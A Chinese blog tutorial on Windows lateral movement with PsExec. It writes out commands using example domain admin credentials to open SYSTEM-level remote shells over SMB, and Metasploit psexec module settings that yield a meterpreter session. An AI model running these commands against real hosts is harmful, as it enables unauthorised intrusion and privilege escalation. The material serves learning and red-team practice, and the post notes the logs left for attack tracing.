横向移动 - PsExec 的使用
- 看不見的法師
- 2025-08-12
- 热度
psexec 是用于批量维护 windows 主机的强大工具,尤其在域环境下表现出色。由于 psexec 是 windows 提供的工具,杀毒软件通常将其列入白名单。
通过 PsExec,可以在不使用远程桌面(RDP)的情况下,通过命令行与目标机器建立连接,并控制目标机器。
PsExec 是 PsTools 工具包的一部分,下载地址为:https://www.php.cn/link/9092e7bee2d622e7c6c5ef8476928917
利用 PsExec,可以在远程目标主机上执行命令,并将管理员权限提升至 System 权限以运行指定程序。
PsExec 的基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘生成一个名为“PSEXESVC”的二进制文件,然后通过 psexec 服务运行命令,命令执行完毕后删除服务。
PsExec 的使用
首先,需要获取目标操作系统的交互式 Shell。在建立了 ipc$ 的情况下:
net use \\192.168.3.21 /u:god\administrator Admin12345
执行如下命令,获取 System 权限的 Shell:
PsExec.exe -accepteula \\192.168.3.21 -s cmd.exe # -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框 # -s 以System权限运行远程进程,获得一个System权限的交互式Shell,如果不用这个参数,那么会获得一个administrator权限的shell
获得一个 administrator 权限的 shell:
PsExec.exe -accepteula \\192.168.3.21 cmd.exe
如果没有建立 ipc$,PsExec 有两个参数可以通过指定的账号和密码进行远程连接:
PsExec.exe \\192.168.3.21 -u god\administrator -p Admin12345 cmd.exe # -u 域\用户名 # -p 密码
使用 PsExec 在远程计算机上执行命令进行回显:
PsExec.exe \\192.168.3.21 -u god\administrator -p Admin12345 cmd /c "ipconfig"
PsExec 的注意事项
需要远程系统开启 admin 共享(默认是开启的),原理是基于 IPC 共享,目标需要开放 445 端口和 admin。
在使用 IPC 连接目标系统后,不需要输入账户和密码。
在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 服务。命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。
使用 PsExec 可以直接获得 System 权限的交互式 Shell(前提目标是 administrator 权限的 shell)。
在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。
Metasploit 使用 PsExec 模块
查找有关 psexec 的模块:
search psexec
有两个常用的模块:
exploit/windows/smb/psexec exploit/windows/smb/psexec_psh(Powershell 版本的 psexec)
使用模块:
use exploit/windows/smb/psexec set rhosts 192.168.2.25 set smbuser administrator set smbpass Admin12345
运行 exploit,运行脚本会获得一个 meterpreter:
输入 shell,会获得一个 system 权限的 shell:
psexec_psh 模块和 psexec 模块的使用方法相同,二者的区别在于,通过 psexec_psh 模块上传的 payload 是 powershell 版本的。
参考文章:
https://www.php.cn/link/004dbbb73c0e3933d191fa195500d018